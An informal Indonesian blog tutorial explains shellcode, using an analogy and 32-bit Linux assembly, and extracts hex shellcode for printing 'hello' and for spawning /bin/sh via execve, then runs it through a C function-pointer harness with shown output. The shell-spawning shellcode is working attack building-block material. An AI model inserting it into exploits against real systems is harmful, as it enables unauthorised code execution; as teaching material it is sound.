Oke di postingan kali ini, mari kita
sedikit review tentang apa itu shellcode dan kenapa formatnya aneh gak
terbaca seperti itu (ini contoh potongan shellcode:
\xeb\x19\x31\xc0). Gara-gara ngebuka halaman
shellcode exploite db
jadi kepikiran untuk ngebuat postingan ini hehe. Nah sebenarnya apa itu
shellcode dan kenapa format stringnya geje seperti itu akan dibahas
secara gamblang ala saya disini haha. Gak usah takut bacanya, karena
penulis bahasanya sangat tidak formil jadi mestinya bisa mudah
dimengerti ahahah…
Shellcode
adalah code yang diberikan kepada prosesor komputer untuk mengeksekusi
perintah yang hanya dimengerti komputer. Karena mesin cuma mengerti
angka 0 atau 1, sebenarnya instruksi/code ke mesin dengan menggunakan
binary 0 dan 1, tetapi per 8 digit binary dapat direpresentasikan
sebagai 1 byte dengan code hexa, dan juga tentu saja lebih mudah
dipahami manusia ketimbang kita input angka 0 dan 1 sebanyak 8x lipat
barisan hexa hahah. Bagi yang suka nge-heker pasti tau shellcode itu
berbeda dengan exploit.. Kalau exploit adalah satu kesatuan sistem
penghancur, sedangkan payload adalah sesuatu yang dibawa dalam exploit.
Analoginya kalau seorang penyusup mau
membobol datacenter nih.. ceritanya dia bawa botol aer minum sama kertas
bertuliskan ‘Siram’. Yang dimaksud exploit adalah satu kesatuan orang +
botol air minum + kertas bertuliskan “Siram”. Payload exploitnya adalah
botol air minum. Shellcodenya adalah instruksi “Siram” nya. Jadi
exploit ini anggaplah akan masuk ke datacenter membawa botol air.
Sesampai di datacenter ketemu sama orang datacenternya (dalam hal
nyatanya: prosesor komputer -yang memproses instruksi-) dan si orang
kita itu ngasihin kertas (shellcode) bertuliskan “Siram”. Sehingga jebol
lah perangkat di datacenter di siramin. Ahihihii..
Jadi kalau kita mau nge-heker yang
paling susah dibuat itu shellcode-nya ya? Oh justeru yang paling susah
dibuat tuh exploitnya, karena harus kita bundle dengan payload dan
shellcode. Selain itu si orang yang bawa botol air dan kertas (dalam
contoh tadi) harus kita rancang juga biar dia berlakon sesuai rencana
a.k.a programming maksud saya. Pertama mungkin program si doi buat
loncat via jendela, masuk ke dalam gedung harus cari posisi ruang
datacenter (algoritmia mencari datacenter hahah), kalo di lantai 1 ga
ada, harus cari lift atau tangga, kalau udah ketemu gimana buka pintu
datacenter, dsb.
Dan pada postingan kali ini, pembahasan
dibatas hanya scope shellcode sehingga diharapkan bisa paham secara
gamblang dulu tentang shellcodenya. Semoga ada waktu untuk ngebahas
exploit dan payload.. Seremmm.. yang pasti liat source buatan orang aja
ah.. ahahahah…
Ada yang harus kita ketahui terlebih
dahulu tentang register di prosesor yang tugasnya mengekusi instruksi
(apapun) yang diberikan kepadanya. Register ini bernama EIP (Extended
Instruction Pointer kalo gak salah kepanjangannya hahah). Nah kasarnya
yang akan kita lakukan kedepan, register EIP ini yang harus kita
overwrite dengan isi shellcode kita. Dalam analogi di atas tadi, artinya
kita harus cari orang datacenter dan berikan kertas bertuliskan “Siram”
tadi kepadanya. Karena semua instruksi dia yang akan eksekusi.
Dalam programming, seluruh “data”
program yang berada di memori yang alamatnya tersimpan di EIP dianggap
“code”. Sedangkan lainnya adalah “data” biasa (variable, parameter,
argumen, dsb). Nah program C dibawah ini adalah program yang variable
“str” nya akan ditunjuk oleh EIP untuk dieksekusi, karena variable str
telah menjadi sebuah fungsi setelah dicasting dengan pointer to function
dengan (void (*)(void)).
2 | char str[] = "\x00\x00\x00\x00\x00" ; |
4 | (( void (*)( void ))str)(); |
Program diatas jika dicompile dan
dijalankan akan memiliki data str = “\x00\x00\x00\x00\x00″ yang berada
di alamat memory tertentu. Sedangkan “((void (*)(void))str)();” akan
mengisi EIP dengan value dari alamat memory variable str berada. Sesaat
kemudian EIP menunjuk alamat memory tersebut untuk dieksekusi prosesor.
Jika hexa “\x00\x00\x00\x00\x00” kita benar, maka akan mendapatkan hasil yang kita inginkan. Untuk itu mari sekarang kita buat hexa a.k.a shellcodenya.
PRINTOUT: HELLO – SHELLCODE
Untuk membuat shellcode dengan
menggunakan bahasa assembly. Ini adalah program yang akan memunculkan
tulisan ‘hello’ kemudian exit:
- Hello.asm
Save dengan nama hello.asm kemudian
kompile dengan NASM akan menghasilkan file object hello.o. Setelah itu
link-kan object file dengan executable file bernama apa saja. Jadi deh..
Silahkan coba dieksekusi…
01 | inan@eniac:~/Desktop/shellcode$ nasm -f elf hello.asm |
02 | inan@eniac:~/Desktop/shellcode$ ld -o hello hello.o |
03 | inan@eniac:~/Desktop/shellcode$ ./hello |
04 | helloinan@eniac:~/Desktop/shellcode$ |
05 | inan@eniac:~/Desktop/shellcode$ objdump -d hello |
07 | hello: file format elf32-i386 |
09 | Disassembly of section .text: |
12 | 8048060: eb 19 jmp 804807b |
15 | 8048062: 31 c0 xor %eax,%eax |
16 | 8048064: 31 db xor %ebx,%ebx |
17 | 8048066: 31 d2 xor %edx,%edx |
18 | 8048068: 31 c9 xor %ecx,%ecx |
19 | 804806a: b0 04 mov $0x4,%al |
20 | 804806c: b3 01 mov $0x1,%bl |
22 | 804806f: b2 05 mov $0x5,%dl |
23 | 8048071: cd 80 int $0x80 |
24 | 8048073: 31 c0 xor %eax,%eax |
25 | 8048075: b0 01 mov $0x1,%al |
26 | 8048077: 31 db xor %ebx,%ebx |
27 | 8048079: cd 80 int $0x80 |
30 | 804807b: e8 e2 ff ff ff call 8048062 |
31 | 8048080: 68 65 6c 6c 6f push $0x6f6c6c65 |
32 | 8048085: 77 6f ja 80480f6 |
33 | 8048087: 72 6c jb 80480f5 |
Setelah itu keliatanlah hexa dump yang
bagian tengah itu.. ya itu lah shellcode kita. Sedangkan code yang
berisi instruksi secara manusiawi pada kolom kanannya. Sehingga
shellcode untuk stdout ‘hello’ adalah berurut dari atas sampai bawah
(ki-ka) plus ditambah pemisah “\x” (format hexa) adalah seperti dibawah
ini:
\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f
Coba copy paste shellcode ini ke program
C di atas, kemudian compile dan jalankan.. pasti akan ada stdout
“hello” di output programnya hehehe…
“THE SHELL” – SHELL CODE
Sepertinya kurang asik kalau shellcode
yang dihasilkan gak ada interaksi dengan kita atau not in our control…
Nah shellcode yang paling populer adalah mengoverwrite EIP untuk
mengeksekusi instruksi memanggil binary /bin/sh atau shell sejenisnya.
Inilah asal muasal kenapa bernama shell code a.k.a “kode untuk shell”.
Mari buat lagi dengan menggunakan assembler.. Pada sistem linux, system
call yang bertugas mengeksekusi suatu executable file adalah execve()
dengan format sebagai berikut:
int execve(const char *filename, char *const argv[], char *const envp[]);
Dalam assembler execve() direpresentasikan dengan interrupt no.11 (0xb). Sehingga pada register prosesor:
- Kasarnya formatnya kek gini –> EAX (EBX, ECX, EDX) sama ‘kan dengan format syscall execve() di atas?
- EAX: int no 11 = 0xb
- EBX: sebagai parameter ke-1 berisi const char “bin/sh”
- ECX: sebagai parameter ke-2 bertipe array of string, {“/bin/sh”,NULL}
- EDX: sebagai parameter ke-3 NULL (envp[] gak akan kita gunakan)
Sehingga seperti inilah kode assemblernya:
Shell.asm
Kalo liat source Shell.asm diatas, ada
push 0x68732f2f itu apa hayoo.. Hehe.. itu string untuk “hs//” dan yang
satunya lagi “nib/” dibalik karena ini stack atau tumpukan… Coba aja
konversi hexa ke ASCII heheh.. Kok “/” nya dua kali? Sebenarnya biar
cukup 4 byte alokasi dan lagian ga ada bedanya kok eksekusi /bin/sh vs
/bin//sh (coba aja). Nah setelah itu di dump seperti cara sebelumnya..
01 | inan@eniac:~/shellcode$ objdump -d shell |
03 | shell: file format elf32-i386 |
05 | Disassembly of section .text: |
08 | 8048060: 31 c0 xor %eax,%eax |
09 | 8048062: 31 db xor %ebx,%ebx |
10 | 8048064: 31 c9 xor %ecx,%ecx |
11 | 8048066: 31 d2 xor %edx,%edx |
13 | 8048069: 68 2f 2f 73 68 push $0x68732f2f |
14 | 804806e: 68 2f 62 69 6e push $0x6e69622f |
15 | 8048073: 89 e3 mov %esp,%ebx |
18 | 8048077: 89 e1 mov %esp,%ecx |
19 | 8048079: 31 d2 xor %edx,%edx |
20 | 804807b: b0 0b mov $0xb,%al |
21 | 804807d: cd 80 int $0x80 |
Nah… didapatkanlah shellcode untuk spawn shell adalah seperti ini:
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
Saya rekayasa lagi source program C di bagian atas posting ini
(tinggal paste-in shellcode ini) sehingga source codenya menjadi seperti
ini:
2 | char str[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" ; |
4 | (( void (*)( void ))str)(); |
Kompile dan jalankan..
1 | inan@eniac:~/Desktop/shellcode$ gcc -o code- exec code- exec .c |
2 | inan@eniac:~/Desktop/shellcode$ ./code- exec |
4 | uid=1000(inan) gid=1000(inan) groups =1000(inan),4(adm),20(dialout),24(cdrom),46(plugdev),111(lpadmin),119(admin),122(sambashare) |
6 | /home/inan/Desktop/shellcode/ |
8 | inan@eniac:~/Desktop/shellcode$ |
Spawn a shell dengan sempurna! Berarti shellcode kita
\x31\xc0…blablabla…\xcd\x80 emang benar hehe. Semoga bermanfaat…